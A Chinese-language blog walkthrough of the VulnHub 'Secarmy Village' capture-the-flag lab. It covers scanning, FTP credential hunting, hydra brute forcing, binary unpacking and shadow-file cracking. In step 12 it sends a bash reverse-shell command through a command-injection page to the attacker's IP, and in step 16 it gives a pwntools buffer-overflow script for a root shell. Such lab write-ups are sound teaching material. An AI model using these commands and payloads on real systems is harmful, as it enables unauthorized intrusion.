当前位置: 首页 > news >正文

Secarmy Village: Grayhat Conference靶场

Secarmy Village: Grayhat Conference

来自 <Secarmy Village: Grayhat Conference ~ VulnHub>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.224

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.224

端口/服务

风险等级

详细风险

建议措施

21/tcp (FTP)

- 允许匿名登录(Anonymous FTP),可能泄露敏感文件。

- vsftpd 3.0.3可能存在未修复漏洞(如CVE-2020-8816)。

1. 禁用匿名登录。

2. 限制FTP目录权限。

3. 升级到最新版本。

22/tcp (SSH)

- OpenSSH 7.6p1版本较旧,可能存在弱密码或密钥泄露风险。

1. 禁用密码认证,强制使用密钥登录。

2. 升级至OpenSSH 9.6+版本。

3. 限制SSH访问IP范围。

80/tcp (HTTP)

- Apache 2.4.29存在旧漏洞(如CVE-2017-15715)。

- 网站标题暗示潜在漏洞风险。

1. 升级Apache至2.4.57+。

2. 扫描Web目录(使用gobusterdirb)。

3. 检查SQL注入/XSS等漏洞。

1337/tcp (自定义服务)

- 密码恢复功能需输入“令牌”,可能为硬编码凭证或存在逻辑漏洞(如缓冲区溢出)。

1. 通过FTP/HTTP获取潜在令牌。

2. 使用netcat手动交互测试。

3. 审计服务代码逻辑,移除硬编码凭证。

4,尝试匿名访问,发现什么都没有

ftp anonymous@192.168.23.224

访问80端口开放的http服务

对网站存在的隐藏子目录进行扫描

dirb http://192.168.23.224

查看页面源代码得到一些内容(因为文字选择白色所以无法直接看见)

view-source:http://192.168.23.224/anon/

5,再次尝试登录到ftp服务器上,账户密码:uno/luc10r4m0n

下载下来查看内容

get flag1.txt

get readme.txt

得到了flag1和重要提示信息

通过在ftp服务器的信息收集可以知道所有用户名

ls /home

保存成为一个字典,然后进行hydra爆破

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ftp

hydra -L users.txt -p 4b3l4rd0fru705 192.168.23.224 ssh

甚至可以ssh登录了

6,ftp上线dos用户,password:4b3l4rd0fru705

ftp dos@192.168.23.224 

信息收集发现有两个文件1137.txt和readme.txt,保存下来看看。

然后把巨大的files文件夹里面的内容下载出来

mkdir ftp

cd ftp

prompt

mget *

7,1337.txt提示要通过nc连接靶机的1337端口,我们可以使用该命令来连接,连接后需要token

readme.txt,说需要在files这个目录里的一堆文件中找到有'a8211ac1853a1235d48829414626512a'这字符串。使用python脚本完成

import re

def find_str(num):

    file_text = open(f'ftp/file{num}.txt').readlines()

    pattern = re.compile(r'^.*'+'a8211ac1853a1235d48829414626512a'+r'.*$')

    for line in file_text:

        if pattern.search(line):

            print('file'+str(num)+'.txt')

            break

if __name__ == '__main__':

    for i in range(0,5001):

        find_str(i)

成功找到对应文件

有提示去看file3131.txt,最后是base64编码,将其转换成zip文件

vim encode.txt

cat encode.txt | tr -d '\n' | base64 -d > output.zip

然后读取这些文件

得到了flag2

8,nc连接之后输入我们得到的token:c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b

得到一个账户和密码,登录ftp服务器

tres:r4f43l71n4j3r0

ftp tres@192.168.23.224

下载文件夹下面的三个文件,读取文本文件

已向当前文件夹中的 secarmy-village 二进制文件添加一组条件语句。请逆向该文件并获取第四个用户的凭据。如果访问文件时遇到问题,可前往以下链接下载:

https://mega.nz/file/XodTiCJD#YoLtnkxzRe_BInpX6twDn_LFQaQVnjQufFj3Hn1iEyU

9upx脱壳文件

upx -d secarmy-village

然后查看文件内容,得到第四个用户名密码

strings secarmy-village

cuatro:p3dr00l1v4r3z

ftp cuatro@192.168.23.224

登录成功下载第四个flag和关键提示

10,根据提示访问网站的一个隐藏目录/justanothergallery

http://192.168.23.224/justanothergallery/

得到一个二维码,第53扫一下即可得到用户密码 cinco:ruy70m35

http://192.168.23.224/justanothergallery/qr/image-53.png

11,ftp服务器访问

ftp cinco@192.168.23.224

下载这两个文件然后读取

然后ssh上线用户

ssh cinco@192.168.23.224

寻找属主属于cinco用户的文件

find / -user cinco 2>/dev/null

先赋予权限给shadow.bak,再通过kali的scp下载它

scp cinco@192.168.23.224:/cincos-secrets/shadow.bak /root/

解密bak文件得到账户和密码 seis:Hogwarts

john --wordlist=/usr/share/wordlists/rockyou.txt shadow.bak

12,使用ftp服务器登录,下载该用户的两个文件

然后读取之

提示访问一个隐藏网页

http://192.168.23.224/shellcmsdashboard/

扫描一下网站子目录

 dirsearch -u http://192.168.23.224/shellcmsdashboard/ -x 404,403

http://192.168.23.224/shellcmsdashboard/robots.txt

得到账户密码访问一下,admin/qwerty

得到一个页面,访问一下

http://192.168.23.224/shellcmsdashboard/aabbzzee.php

发现这个网页存在命令执行漏洞,直接反弹shell

bash -c "bash -i >& /dev/tcp/192.168.23.182/4444 0>&1"

然后kali监听4444端口,成功getshell

13,信息收集一下,得到一个用户名密码

chmod 7777 readme9213.txt

cat readme9213.txt

依然使用hydra进行爆破

hydra -L users.txt -p 6u1l3rm0p3n473 192.168.23.224 ssh

是siete用户的6u1l3rm0p3n473,ftp上线登录一下

都导出来看看

看看文件内容

通过key.txt里的x,十进制为120,对于每个字节,我们执行xor并将得到的结果通过函数chr来转换成字符从而形成字符串

python -c 'print("".join([chr(x ^ 120) for x in bytearray([11,29,27,25,10,21,1,0,23,10,17,12,13,8])]))'

得到了password.zip的解压密码secarmyxoritup

14,依然hydra爆破下一个用户的账户密码

hydra -L users.txt -p m0d3570v1ll454n4 192.168.23.224

ftp ocho@192.168.23.224

然后分析得到的两个文件

wireshark keyboard.pcapng

在过滤器输入http.request.method==GET

有个none.txt,然后追踪流看看内容

把这个密文进行解密 mjwfr?2b6j3a5fx/

Keyboard Shift Cipher - Key Offset - Online Decoder, Translator

拿到下一个用户的账户密码 nueve:355u4z4rc0

15,然后ftp登录下一个用户

下载三个文件,然后读取

16,只要local_10==0xcafebabe即可获得root shell,所以我们要用值覆盖long这个变量,先通过靶机用socat命令开启8000端口监听

socat TCP-LISTEN:8000 EXEC:./orangutan

接着在kali编写py脚本,以相反的顺序发送所需的值,这里借用国外wp的脚本

from pwn import *

offset = b"A" * 24

secret = b"\xbe\xba\xfe\xca"

payload = offset + secret

conn = remote('192.168.23.224',8000)

print(conn.recvline())

print(conn.recvline())

conn.sendline(payload)

 

相关文章:

  • PowerBI 矩阵实现动态行内容(如前后销售数据)统计数据,以及过滤同时为0的数据
  • 系统集成项目管理工程师学习笔记之启动过程组
  • OpenHarmony开源鸿蒙兼容性测试常见问题解答分享
  • mac上将 Excel 文件的扩展名从 .xls 改为 .xlsx 后,打开时报错:“文件格式或文件扩展名无效”。
  • 攻防世界 Web题--easytornado
  • 【css知识】flex-grow: 1
  • 数据分析_主播考核指标体系搭建
  • 使用注解动态映射:根据实体List列表动态生成Excel文件
  • 2025-05-20 模型下载--文本向量化--Faiss检索
  • STL中list的模拟
  • 链表原理与实现:从单链表到LinkedList
  • Gin--Blog项目-flags文件解析
  • OpenCV 人脸识别:从基础到实践全解析
  • HarmonyOS5云服务技术分享--云缓存快速上手指南
  • vue2+webpack环境变量配置
  • 开源一个记账软件,支持docker一键部署
  • 详解ip地址、子网掩码、网关、广播地址
  • ArcObjects学习教程
  • CouchDB 可观测最佳实践
  • Centos上搭建 OpenResty
  • 百年前淮北乡村的风俗画卷——读郑重 《九十自述》
  • 人民日报今日谈:科技赋能,继续把制造业搞好
  • 述评:赖清德当局上台一年恶行累累
  • 推动粒子治疗更加可及可享!龚正调研上海市质子重离子医院
  • 今晚油价下调,加满一箱油将省9元
  • 上影节公布今年IMAX片单:暗涌、重生与感官的史诗